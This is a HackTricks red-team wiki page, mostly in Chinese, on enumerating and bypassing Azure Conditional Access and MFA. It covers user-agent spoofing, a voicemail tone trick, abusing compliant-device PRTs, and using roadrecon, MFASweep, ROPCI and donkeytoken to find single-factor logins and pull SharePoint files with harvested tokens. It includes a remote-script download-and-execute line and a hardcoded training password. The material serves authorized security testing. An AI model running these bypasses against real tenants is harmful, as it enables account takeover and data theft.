Az - Conditional Access Policies & MFA Bypass

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

Azure 条件访问策略是在 Microsoft Azure 中设置的规则,用于根据某些 条件 强制执行对 Azure 服务和应用程序的访问控制。这些策略通过在适当的情况下应用正确的访问控制,帮助组织保护其资源。
条件访问策略基本上 定义 可以从 哪里如何 访问 什么

以下是几个示例:

  1. 登录风险策略:当检测到登录风险时,可以设置此策略要求多因素身份验证 (MFA)。例如,如果用户的登录行为与其常规模式相比异常,例如从不同国家登录,系统可以提示进行额外的身份验证。
  2. 设备合规性策略:此策略可以限制对 Azure 服务的访问,仅限于符合组织安全标准的设备。例如,只有在具有最新防病毒软件或运行特定操作系统版本的设备上,才允许访问。

Enumeration

# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

条件访问策略绕过

条件访问策略有可能检查一些可以轻易篡改的信息,从而允许绕过该策略。例如,如果该策略配置了 MFA,攻击者将能够绕过它。

在配置条件访问策略时,需要指明受影响的用户目标资源(如所有云应用)。

还需要配置触发该策略的条件

  • 网络:IP、IP 范围和地理位置
  • 可以使用 VPN 或代理连接到一个国家,或设法从允许的 IP 地址登录来绕过
  • Microsoft 风险:用户风险、登录风险、内部人风险
  • 设备平台:任何设备或选择 Android、iOS、Windows Phone、Windows、macOS、Linux
  • 如果未选择“任何设备”,但选择了所有其他选项,则可以使用与这些平台无关的随机用户代理绕过
  • 客户端应用:选项为“浏览器”、“移动应用和桌面客户端”、“Exchange ActiveSync 客户端”和“其他客户端”
  • 通过未选择的选项绕过登录
  • 设备过滤:可以生成与使用的设备相关的规则
  • 身份验证流程:选项为“设备代码流程”和“身份验证转移”
  • 这不会影响攻击者,除非他试图在钓鱼尝试中滥用任何这些协议以访问受害者的帐户

可能的结果是:阻止或授予访问权限,可能的条件包括要求 MFA、设备合规等…

设备平台 - 设备条件

可以基于设备平台(Android、iOS、Windows、macOS…)设置条件,但这基于用户代理,因此很容易绕过。即使强制所有选项执行 MFA,如果使用**未被识别的用户代理,**也将能够绕过 MFA 或阻止:

只需让浏览器发送一个未知的用户代理(如 Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile)就足以不触发此条件。
您可以在开发者工具中手动更改用户代理:

或者使用这样的浏览器扩展

位置:国家、IP 范围 - 设备条件

如果在条件策略中设置了这一点,攻击者可以使用VPN连接到允许的国家,或尝试找到从允许的 IP 地址访问的方法来绕过这些条件。

云应用

可以配置条件访问策略以阻止或强制例如在用户尝试访问特定应用时进行 MFA:

要尝试绕过此保护,您应该查看是否可以仅登录任何应用程序
工具AzureAppsSweep具有数十个硬编码的应用程序 ID,并将尝试登录这些应用程序,并在成功时通知您,甚至提供令牌。

为了测试特定资源中的特定应用程序 ID,您还可以使用以下工具:

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

此外,还可以保护登录方式(例如,如果您尝试从浏览器或桌面应用程序登录)。工具 Invoke-MFASweep 进行一些检查以尝试绕过这些保护。

工具 donkeytoken 也可以用于类似的目的,尽管它看起来没有维护。

工具 ROPCI 也可以用于测试这些保护措施,看看是否可以绕过 MFA 或阻止,但该工具是从 白盒 角度工作的。您首先需要下载租户中允许的应用程序列表,然后它将尝试登录这些应用程序。

其他 Az MFA 绕过

铃声

一个 Azure MFA 选项是 接收在配置的电话号码上的电话,用户将被要求 发送字符 #

Caution

由于字符只是 音调,攻击者可以 破坏 电话号码的 语音邮件 消息,将 # 的音调 配置为消息,然后在请求 MFA 时确保 受害者的电话正在忙(拨打它),以便 Azure 的电话被重定向到语音邮件。

合规设备

策略通常要求合规设备或 MFA,因此 攻击者可以注册合规设备,获取 PRT 令牌并 以此方式绕过 MFA

首先在 Intune 中注册 合规设备,然后使用:

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

找到有关此类攻击的更多信息,请访问以下页面:

Az - Primary Refresh Token (PRT)

工具

AzureAppsSweep

此脚本获取一些用户凭据并检查是否可以登录某些应用程序。

这对于查看您在某些应用程序中是否不需要 MFA 登录非常有用,您可能会利用这些应用程序来提升权限

roadrecon

获取所有策略

roadrecon plugin policies

Invoke-MFASweep

MFASweep 是一个 PowerShell 脚本,尝试使用提供的凭据 登录到各种 Microsoft 服务,并尝试识别是否启用了 MFA。根据条件访问策略和其他多因素身份验证设置的配置,一些协议可能最终会保持单因素。它还对 ADFS 配置进行了额外检查,并可以在检测到时尝试登录到本地 ADFS 服务器。

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

这个工具帮助识别MFA绕过,并在多个生产AAD租户中滥用API,AAD客户认为他们已强制实施MFA,但基于ROPC的身份验证成功。

Tip

您需要有权限列出所有应用程序,以便能够生成要进行暴力破解的应用程序列表。

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token 是一组旨在帮助安全顾问验证条件访问策略、测试启用 2FA 的 Microsoft 门户等功能的工具。

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

测试每个门户是否可以在没有 MFA 的情况下登录

$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

因为 Azure 门户 没有限制,可以 从门户端点收集令牌以访问之前执行检测到的任何服务。在这种情况下,识别了 Sharepoint,并请求访问它的令牌:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

假设令牌具有 Sites.Read.All(来自 Sharepoint)的权限,即使由于 MFA 而无法通过网络访问 Sharepoint,仍然可以使用该令牌访问生成的令牌中的文件:

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

参考

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks